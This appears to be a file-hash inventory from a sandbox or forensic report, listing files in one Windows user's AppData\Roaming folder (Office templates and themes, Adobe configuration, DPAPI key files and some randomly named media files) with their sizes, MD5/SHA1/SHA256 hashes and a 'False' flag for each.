c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl 0.92 KB MD5: 3c0cd73cab8aab92fe926cc0d833168d
SHA1: c60382cf1e70fd03848a3356ebe09a1ff9e1d372
SHA256: 044a3f2b46fd3c3db0320f4a549ac19e31e1dba1b97445104886e8fd9d645104 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\logtransport2.cfg 0.72 KB MD5: 9fad7b65423580eb84fa95efb5cf2ed0
SHA1: 74033a1af246a7aec3623f43a4e509f809e86edb
SHA256: 2481688064820c53a870bf4d1b242f7d89a75dd98b08ba0b2a813c1e37572fed 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\sonar1.0\sonar_policy.xml 18.83 KB MD5: c4c04e34b316847a376fec03dd6f158c
SHA1: e91777deb9127994afda51f00d908527a56e6c79
SHA256: d41498c1f45fc71b9b5bd6cff9ef7250625104334909582b03c4d18ff9473db7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\aiuwcwxy-.csv 81.40 KB MD5: 1cf3846f3aa10e2bd2d49c5ca3dfc318
SHA1: 35423dc8c4804cc99c36d530abe1fa354213bca6
SHA256: f67ab27faf5ebedc73ab48bcd60e0e2421fc6c99692a8bf778f8432feab59623 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\aouv2yf_f8w.odp 3.33 KB MD5: ee4e457d72a675551f04be5bb42eb547
SHA1: 98bd0391e3db79cfc5758a0cd1f4d177bbcc4625
SHA256: 7be40a045a42ec0b9894667ab00c572147828ba6b59d442605e4e49ffca647c5 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\dw-yzoud-.gif 24.36 KB MD5: 47bfacfea86e16be44ec7c14b8e16e52
SHA1: 9451e8b484f93a2f3a5ac2b188db8ac0f553f102
SHA256: ce553ae1b34c27a5d4dbff30b700dee37d564278aca709cdf5fd71b89101032e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\e-adlmbn_o.mp4 35.57 KB MD5: d48dc882787a69bf97f0af9b20a9d943
SHA1: 36d231011343e33766b6ec804ee3d3fc1424600b
SHA256: 3f4d03edf73e84fec98676d4fd7bc34b86db011f8e5a69830a60221652998feb 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\fuppb_5g.gif 23.03 KB MD5: 5072bdf8208108b1802635ffeb5c4b67
SHA1: 66f04059d0c1827bad7479d77cf649bc9a307b29
SHA256: 0c2ca2003e3d4817d884ab4ce94613e6c26442363655a3cc1146bb2f92e7c1eb 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\idwv6myh.mkv 94.13 KB MD5: 0ec4853db7c03f67d05b1e1cc8645646
SHA1: 3870521dac2f28d154ef6f28f7d52a24db770589
SHA256: 6f1f49013ebbf3be0ccb13cc14ffa35e609ccc4060daa76ea2e0817a7ca7086c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\iqndpe005_phgwx76v8.jpg 75.11 KB MD5: 56f9b88ad2fe9ce0327c91fa44caedac
SHA1: cfd55d587a55d7982b9185ac60759f9949e6fb58
SHA256: d048307904a1aadce81543bf97d909b42ad6263341e35dd24413d575d01b0ea4 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\jeq3czg5m-p8f-9m8ls.m4a 15.59 KB MD5: af9d3f11fe212f9208ac0787180f0add
SHA1: dfe6e72ad375213f89b811c7c928c910bd490f01
SHA256: 011ec6c4e2ea9424f7138c64ba35a91671bd76da8a691b864642baa9e1712332 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\jpg95_mxi58ijuhwka1.gif 3.82 KB MD5: 0ae7157abc5181864a4dcaa1929d900d
SHA1: 0b8314414df9ad2ad88de7377028e78b5bc523b0
SHA256: 570e47e6d39262143dec6dee16024bd329996646f2f757fe3dc18af4f9542930 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\settings.sol 1.00 KB MD5: b44a1e83a97803132d5a444c0ff09e80
SHA1: de2f310af494c5645ade5132ca30f3d14569bd34
SHA256: ab1f225e08857185361623269561c27d90633a25c738a3ab52e21af4a20c0ca6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\accesscache.accdb 196.51 KB MD5: d94ebebdc274b01a1902cc748cab6cf4
SHA1: 2fa39aaa508f45ba61aa1125762022730c456298
SHA256: d2ec75a0ade2cadc1b65e6ac21fdb67804952ef74899121b481d4a18ab7e12c4 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\system.mdw 124.51 KB MD5: 73b2cb0bf6c2802713ef15def46a6deb
SHA1: ac97f60a52772b51581aaf8cd61f6f6eaea4dd43
SHA256: f743c381dc6e6e07b8da3bc7d23ecc46df125a250b0df3c7e82dc917cd027a3d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\apasixtheditionofficeonline.xsl 326.29 KB MD5: 72fbf5e660a4cdb00a2f28f07e970b41
SHA1: 47f61b5d4764e4525d02a4590330bd14cf3bbf29
SHA256: 8928c220f5851cdab41f79df71c37ec8995e3e1b8b469bd40636bf3beafacf19 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\chicago.xsl 290.56 KB MD5: ecd7b12576b98cdcc0a160ab4cc708e4
SHA1: 140a7936313f91741c2958d9b3296bec834e3b33
SHA256: 267d4f74bb9f459c95b7959a54305a141843c437ebb27460495b00f2c297af1b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gb.xsl 262.88 KB MD5: 135f15b472df7c7b54cb280756823366
SHA1: 129f6b2c2eee198563544cd110fad8d7e0ed968e
SHA256: 2fa0090c78a799f5ca7bebe4514d3c06e6c06604298f30a4ece7da54b2aa2fd7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gostname.xsl 250.86 KB MD5: c6daa6eab09d9bbad2285b123622e4c3
SHA1: 14d8697b11be7fa19c439c56b071d7b330dbc902
SHA256: 948b0856c320cd7c175e34c90f15efe023f4f9161733559115a3031b32d375f3 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\gosttitle.xsl 246.06 KB MD5: 0711c6900f2d966cd24a4c7ac9e0082e
SHA1: ec8b27596ab0cfc2934935f7a629739e37d49d5c
SHA256: 661b538112960b1173de7f6ee12e0e520b5ca9416ab2fbab9cb5a4e9c7ab090a 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\harvardanglia2008officeonline.xsl 278.63 KB MD5: f7f1ce0f9606e652787d0adc6636ba8c
SHA1: e0163bacae6578b9b4d6bc80dc99b2607a81a474
SHA256: e3bae5d4714b03883581e7a4b2fa655bca90f140252cf61ac50166e279ff420f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\ieee2006officeonline.xsl 288.13 KB MD5: 2a31088dfdd464771bfd98aaab59f018
SHA1: 7e567c52165021e1c5841974d8c1f7ddc6e516ab
SHA256: e5ced3c1b7ccd043e759fc5f2df5548fd8bb7df301c94fb50e16f00b8f8afa16 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\iso690.xsl 264.81 KB MD5: b3358e42103310e382b118829dc7b91a
SHA1: d4df5f4502044596518febb13a2a90700faaaf15
SHA256: 291cb781a673532d86e282607a7c0a66a7acbd1d4dfbe013ccbfc64b833eb29e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\iso690nmerical.xsl 212.99 KB MD5: e53d4dacbb33e88a10f2c46ee3670b5a
SHA1: 7c9a53dc87b4e317a5c31673c2c5e48e7798465d
SHA256: 16155d7aa0af0552f41ad5fd092a0c4968fc7932506bd5f75e2e86b00ca53ac7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\mlaseventheditionofficeonline.xsl 249.75 KB MD5: b0bf122c44dfdfd9eab66d29848ae75b
SHA1: f1adc8a899f0aa3f028b163196a6c9108bceba04
SHA256: fe88eb3fe328b4194a5003547ec6c74e152943f1d32e2385ccc744be718f5350 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\sist02.xsl 245.95 KB MD5: c7b8c4e11eed03228c51b25ca13e01f8
SHA1: 978bca7fc68247a4ea83227dfc1a257ca0ad1327
SHA256: 46c63deb1ff4b86d30d5a244ab31c5c5d9b2dd0c0207d0c0a3926ee91281d391 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\turabian.xsl 337.09 KB MD5: 3dc15a7607f397ac05d2368a2ac63859
SHA1: 1707028fc7fdb35ace7fd2d2f230ff8afd13d4f4
SHA256: 00d89d8905232f0163a309d409d22cbacde91ecf1f4017fe58c9dddc7172c8cc 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b 0.56 KB MD5: 1a761ada316e811b6e9b02e03b6f5e8b
SHA1: 0094da7bc31247a51432030ee5d8a2a7d7b55f93
SHA256: 6c0a71e146d13bfa2418faa15731e76a53d9896d7b1aa8db1d6e61140007ea7e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b 0.55 KB MD5: 8dd70c37610ae4f9951123cbe4715f52
SHA1: 187b1dc21049a4f43d7eb180c1487268b70e1ee1
SHA256: 2615a2089ac1ce0754a408b4941b966650772a577085c5cdc4c8f960f185f12c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\16\built-in building blocks.dotx 3.53 MB MD5: 7c511d9373718be6ffac0fa32f82ddd6
SHA1: 2bc986342872c45e64f1ad02a8fbcb9fde78e169
SHA256: 853813e88d00d25f443d144b7472f81e1db3f45a9e953fd3eee9f4c6ec6996e9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\en-us\global.mpt 1.21 MB MD5: 4f843ada464a8771f7c0b15ee3315757
SHA1: 05a2244fcc62445b462a0ffc5a17def3c3a328f8
SHA256: 1e7f9343ae6e305c998ae4e69030cc6602b5cc30b277bc47c5819ef3b904b654 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\mso1033.acl 37.35 KB MD5: 6cedb335c78bf3e867edb3c58c509e38
SHA1: f7353fa27ca27dedb207626ac3fee2addb4ae9ce
SHA256: 3fbc3fc6589e1167572014fcc4632c14cf62433ca9e9d35135608635d797b815 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\database1.lnk 1.60 KB MD5: 085473c1bfe3b19b55109520fa4815a5
SHA1: 4f8051e27ccd79264b0622d382e647b9a8e2c854
SHA256: 07f33fce29c94c66c90f4a2b35d43c76913ae32bd7f932f07404bbe55d62d4e2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\documents.lnk 1.44 KB MD5: e3ec2ebc92326c6f61e9f9ce892fa80c
SHA1: d39cdc9f84b32754d10ed89910f81b2ca01b286c
SHA256: 9e40ea216aa1758e3599365daee9c01249898ef206ccae08613011a9ed93150e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\global.lnk 1.98 KB MD5: f28338e01669ed605462c447c6e5c444
SHA1: 16359cf45c2ed0dea95c3808b1530725757ab445
SHA256: b77a841829aabfbe39639345a710ba541197af9afd67e4e8dd94548c7f22a8f5 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\index.dat 0.60 KB MD5: b03873e4618563faebb0bd9cd3bdefa2
SHA1: 76284f8a30909267e791c474494d8c2f94f0b7ed
SHA256: 840122974e316584bd9240e482208b71ac4749da3d962c57aa9029324bf4a3a8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\templates.lnk 1.67 KB MD5: d589e3859a793c520b11e127aaa456b0
SHA1: 2eb73fb9f800716aa4b8265575d4c8d4656382a2
SHA256: 082a1474eb4d400025749ea041367fbde14f10ccd5f8848a6af160b7ef98bfd2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\16.0\preferences.dat 5.57 KB MD5: d5dac0f7e93950aa50893d31c843eba7
SHA1: 1ba38329a3c3f1a7339b697c0dd60de11ffa2ef5
SHA256: a60127ad5932e9c30aa23231ec9194550b291920c26d5fc18bb04908f16cebc2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\outlook.srs 3.01 KB MD5: 66444bc1add10ebbc6d45db4c714a847
SHA1: 3e8434383b4af298e0f357665309e9ebb7c1d626
SHA256: 2414d6a18d57e9e828c6ac2f850e7aee280bee1ecaa4f04044db76343cfb36c0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\outlook.xml 2.84 KB MD5: b8d9a09d5df61808817399f59f78570a
SHA1: 86b1f7768aece7345f29c7676fe6191cbbf6dbf5
SHA256: f4c265549a4181eb7df5c2cb78c78314c99f40e0fadbcd123ffcc43ca8cac70d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\credhist 0.95 KB MD5: 639a682fc9d6a9039970f4a41204b9c0
SHA1: f64ff797da6392cdf732edd7e14b4965a5f47444
SHA256: 440ab986ca8e00bd5485e946cf2be10750a2887ba0ecd58a05becf960d3c0015 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\496f2c5b-a90f-4380-b805-3bf6ac63451b 0.96 KB MD5: 69c3fba49a8c822ee1b2f71fbd81c0d2
SHA1: b98c9c87a9be2e7fb0d1d8dc3dcfb199f7a98f46
SHA256: 15f434b0f5634add836d0574d2b88d2f5204600e8f580b47368987ac207bc24b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\5b8a3202-35dc-4437-b5d7-374f5e872415 0.96 KB MD5: ba8121d3bcbc293091bc07ba3d322feb
SHA1: 5dca0ffe090914801c075d49a4a350b0f96d6375
SHA256: 3e3333132d8c89c720323c75c7e8b8ed91c9625af5ca95099ae0540b55689400 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\a0f53be0-84fb-4908-9252-998f080e895a 0.96 KB MD5: db65f6397939fc0d68af2b49bfb4e53c
SHA1: 7f1700abdd94133ea2a0799439a91435022bd8f5
SHA256: 457b3bac500260b2ce2167320ff89778a1c7fc0e3565c3e478641a73c22e3055 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\d7746ecf-458e-4e71-8557-8ac80457022a 0.96 KB MD5: b933498944638a8096d032b3703aca0f
SHA1: 1d5ee85a013984c32c476d7f20646230ea897ea8
SHA256: 476d608e8cb6bcc76ddb63cd986a91f6a58f94a88ab299743e3313d45402a8d8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\preferred 0.53 KB MD5: 56ac5df80534b73ffd1e3e2c77c8dc16
SHA1: 8d069a861495ceec1286e61c17bf3b20680ae681
SHA256: adba1dcb52c4fdfabd0883a0fe0fae878f7728efffd095f6b22faa385de2b57f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\synchist 0.58 KB MD5: c454d5a510a6b064e1ac3e87e2c47581
SHA1: 9985fd67619f149d3ae7b3ad408706f3a741b053
SHA256: 10dc50bbfadb6669fd4755d6e73cb7a5c1404dfb0014f8c201dc92e68ad33d02 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher building blocks\contentstore.xml 0.67 KB MD5: 11f7fe84203fa44051e048444c8a2bbb
SHA1: 8bdcd2ab5c5d63786197d4303697e650c6d3095c
SHA256: 26b9db1726ddb49c07f557f47388cad50639a7721f85c12f3f34fff9d3d47188 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\calendar insights.xltm 893.35 KB MD5: 14560d476e6a9e2cfe7378709e163ed9
SHA1: 1c613ddbbf8976ab88e00c68a7454856a6a7b098
SHA256: f62e45976038d52fafe8a106f5279c358e3ad3d39824f3febc2cbb4aaaa50d89 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\cashflow analysis.xltm 371.61 KB MD5: f6e66df047065df3aff25f7d2503d625
SHA1: 10d6d94a4f472d684a27abacf9c925b0fcd50d5e
SHA256: d3935aaa136e1b165eae11f30849d0b5a61a204ad9fc51ac31b8c81bfee146fd 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\email insights.xltm 721.29 KB MD5: 64d94740f518c67aac2e5eefc6029533
SHA1: 2b10503b94ff700efd7ef3cb8940a8b330b66570
SHA256: a5f5ce0d4f2ed921e0cea78ec1e71a8d722f7c51c9aa05d82b5c09aae826ba90 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx 549.45 KB MD5: deae65d3c42a0ecc0affd8c208d093ed
SHA1: 0b6e40affbf41f0ac13dd4a85f38f513eab08e56
SHA256: 80f683e2409b64af08e6bb439f614cc7a46f3af016bbcbcdf8842b988367f794 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx 1.57 MB MD5: c7eff8f226d3c5c12ab3c34025ec1a86
SHA1: c06d42050cf82d9b9a6a67f8ab1b4fca2833ef37
SHA256: 77676be01995c9cc2752706f86dc2e362696cc31e3bd5cd6527a77e3cfaf11c3 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx 545.46 KB MD5: ba97fa4e5980af75246b01f0fa7f1f16
SHA1: 3ef76d634f552420d76d8c87b78b97226a32bf3d
SHA256: e520ca904803d15897b38ea387e508f6dfdc3a376bf3929389c6a33883c3ab49 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx 558.03 KB MD5: d662592747f93441857bd6cbc24d04ca
SHA1: e1faa10a2181fba0eab1d95914e1b9b359fb3a84
SHA256: 83fa3acaf7cd83ecf24925140b23487e8846f558585a8d5ac063d16d8898d829 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx 511.30 KB MD5: 7b97c81258ccb33db10572dcc347955f
SHA1: 765d006ff7d955e4816a864dcf5b20490bc72073
SHA256: 77e64ce20c40ce0816ba48db0441d06c111ebd4ef72259543d3301aceddd6b61 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457485[[fn=mesh]].thmx 2.94 MB MD5: 70b65192860fe49478ae8af840a2f05f
SHA1: 3f09285f366df7ad0fe3df2257ffe609ff47d6d2
SHA256: 8398e8c5b812000a9483612818491c7ba83de16c54c5a8ddbc9f9f41e69209de 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx 759.93 KB MD5: a571cee377b1bd9fdef91ff5cae7700f
SHA1: 3c6f838649132f2e5ef32ef827e6064a844214ba
SHA256: a4297daef7a665954cfdf2dae0d05bccb56fe2bb77d5f49ef2d0faf1f50a2391 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx 903.52 KB MD5: 1b8d393453b62995b7cad553c5076d45
SHA1: f360bacdd3bbe435d5dfa352da5995c5e1d692e5
SHA256: 69c2b9d3f6edee244f8d47505f07ca974062bf985403efb1f22adffffa03be2b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx 944.79 KB MD5: 57e192623616e29f5f94033b242e80b6
SHA1: acaf724d17666f0086c0808ee8d0ca27ca38a44f
SHA256: cdecdaa29ae951b3e068b86add4510d1003a820b5879610eb404cfa00db728d7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx 1.15 MB MD5: 04f9cc53d949f7da2e76bb81085d4f2a
SHA1: d8773b358c9e698b7f3f7a0ac4cf9895bf737505
SHA256: 17181c55768f5ff2db9d48c8b6e3411fc320ee1ae8fe40b4320e006fe66c8b26 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx 475.70 KB MD5: 02fb40e73e487f3d47e43b94348b5447
SHA1: c3dcbaded05432e09e0b1082fd3ab59c9eebd2fc
SHA256: 551ce6658e3b6d36c5f8b784758ef39b7fc50684e0c2072a9c1d31a1bbdc0fe7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx 953.63 KB MD5: 534d1531e5119b70b3ab955190a4dd65
SHA1: cd97137837d948abcaaf1e4295fb134865888559
SHA256: 2c4a654900ad1e4fd9608200fb77e6dba755f88d0d9b99e53c35f06a2f97600b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx 1.40 MB MD5: 97acf2acb657057dfb0ffa219951c317
SHA1: 172e832abdb60bd04f1b396e7f9487d0de973df0
SHA256: d4e93087a342ef64673e785bab284cedd5e8197570e82b98846abc48ccb83f98 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033921[[fn=damask]].thmx 2.12 MB MD5: 2d9094bc042cfd4cb51202e7c6fddc8b
SHA1: 9a353ae0ededbc5db2a9d2f34b8b28865dd4920a
SHA256: 2f5cb6cf3d83a6c70f563d88bcd365788b88bfcb40b92ab5156e6963e87e2a1b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx 1.67 MB MD5: cc32fa4ec3ef82daf020b45cf0738326
SHA1: 2325037c552092e2768701635b48178412cdd32e
SHA256: 5367db778e36ba452c4cde6a261e2d56748ea693cef993fcda7ec53b362f3163 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx 2.79 MB MD5: 0901c1527d3bf9c4ff06e0f4fcaba63e
SHA1: 66d807139577c1ab3410e4ba822aa642e1f1ef55
SHA256: d6e074660378eece84fd79a5755098a427ba46ea1cc3e067931eaccf53b52f40 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033929[[fn=slate]].thmx 2.25 MB MD5: f6370a5b56576d3cc1b60a61e4fb84ff
SHA1: 6553d5115afcadeadcb5146fa69e7e5cc6a27921
SHA256: 8aac22bdb4008c3d6f4de38b9758a0e98e365f6f4e3915bc7f22d783fa2ec5a9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033937[[fn=vapor trail]].thmx 3.44 MB MD5: ef2ec1acd2fe4f34e3975313999c5647
SHA1: f96d66201e36b5af93aba286abd935b154d48a9d
SHA256: 21db6ca9fd5417c90a1c8d5f7236391bcc9ecc84ff022e4f66ae3be9b12dcd90 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001103[[fn=headlines]].thmx 527.47 KB MD5: fd87e443fdbbd522b6daea9407dafccb
SHA1: 2d09f56feda8e3e4b5cc8f5355466592e4886102
SHA256: a5c888ee9ecdbb2e70f7f6aea6f5e8e3cd5aedd5003de7437d31340b33deec88 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001104[[fn=feathered]].thmx 1.96 MB MD5: 7ee27afd2fd31e219cb10ee9ad7fb8c7
SHA1: bbca7d59275e7db23678f8f36462965345b6e75e
SHA256: 8ddd4efda896b92ceb33147df26a79f8214f352b38ba4a5acd4ce5632b240817 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001105[[fn=crop]].thmx 524.54 KB MD5: 76c614ba6e4f70aded5b15f936aad63a
SHA1: 810e76a4d0b885c07f9ba05b72165c2fc5a263f5
SHA256: 08d9d82cdcc55a7cee5be256f786e4cf0ed048f14a00573b83d68d307f70f2f6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001106[[fn=badge]].thmx 648.88 KB MD5: 92adfa31bcdce8aa9cc4d57a8eff30df
SHA1: d27e20975f42850cd93edecbff9d9ec47e06d661
SHA256: 3420afc751f169c5ab6473a38c492bd9d856785a58bdf93375f96681575dbcbe 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx 1.04 MB MD5: 7080374d802c2625a32a7d8312d939d2
SHA1: bda9fa09084d4f0e2b9443c659842a3c5cfbe51a
SHA256: f34fbb3530e355079b9b9bcb43f3a82f425b5577af9abd9cd7764a2dba85a8b2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx 594.38 KB MD5: 033b7fcf9c78c767b77cfc885920a4ba
SHA1: 1b8ddf229ac0160a6e9fbf2c342ee3a82f833015
SHA256: 745046ca8e6ade46728564bae56c6cbe1708f8331e06bed332315fa540bbde82 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox 6.16 KB MD5: beddcde3f163c68988c53384c247679a
SHA1: 783e1b2342f0b9dc9985a6efb3690494ca77a7fb
SHA256: 269a2a6e71ec3e2930b359353bb625901667802382399717f6b958dbb8dcbca0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox 4.44 KB MD5: 86fea6bf0830cdd30fb5abde6bf9cc5f
SHA1: 3c5e98998d0c8dfd392e5217e645f6ec1bf02804
SHA256: 096b4d16d78a479d3acdfae79b5d9ff2466507545366f4263144d6f7badb59e1 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox 4.65 KB MD5: 2f3b16409a7c2b24438d59ad1134a176
SHA1: eb7ede9c323c1b9244d8d3bf754b30a45aaac6ba
SHA256: d0ccb0f6a5096084a0d1808e6b83498f7b995e48f3376fb572fa066f6f2f476d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox 16.92 KB MD5: 74b826aa4894ca31be9d2f01a39da82b
SHA1: d14cbabbdc73d87ad6c71c28aa9d2c630c44d62a
SHA256: eaf5ff6681436138475a4527e2a8f3d7deab7e745477da3dcbef4a3c9e99b415 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox 11.62 KB MD5: 981d52cad6b56fe6b23773494eff9fa2
SHA1: 80b8263e965948480a441d32210bd91b8982ca95
SHA256: 2f1f48f5823c96aa7bc1b5bace9e7525f37c2f0955531072dd99fa57024bf808 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox 6.39 KB MD5: 2187d93f8422a9ccd420fd5f95d45375
SHA1: 1e16fff0b6293f6d73a7ce892203bb03791b5cbd
SHA256: 09c1aec485431de050c40f4e4eb5cf482ac5a9959327c729d2997b39f6d5e38a 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox 9.48 KB MD5: 0064897e0442da410e88dee5285a9dad
SHA1: 7acecb33fe11caf6c2f66d7fd96362504df80a80
SHA256: 6a41e86be51562b922fd6a293824967f2821f67deac359fff2d86f3cdd944a55 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox 4.73 KB MD5: 03f8107daca824c7ba3ed123ea17315c
SHA1: 7a4aa8057e386233de032f85ff85f0856f51ea29
SHA256: 5348f8f85d1144a8259800233f64e53751e37e75431fba948dfebe509ccbcf68 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox 7.71 KB MD5: a4a20d0f40e8eae68be585604344c141
SHA1: e2a39e9b4d916d74a8a9d42c42a961291ca0fd01
SHA256: aa057d0735996720ed63c880d3bf9ae0c799e7681947d3caee8c473434ed52ea 		False
...
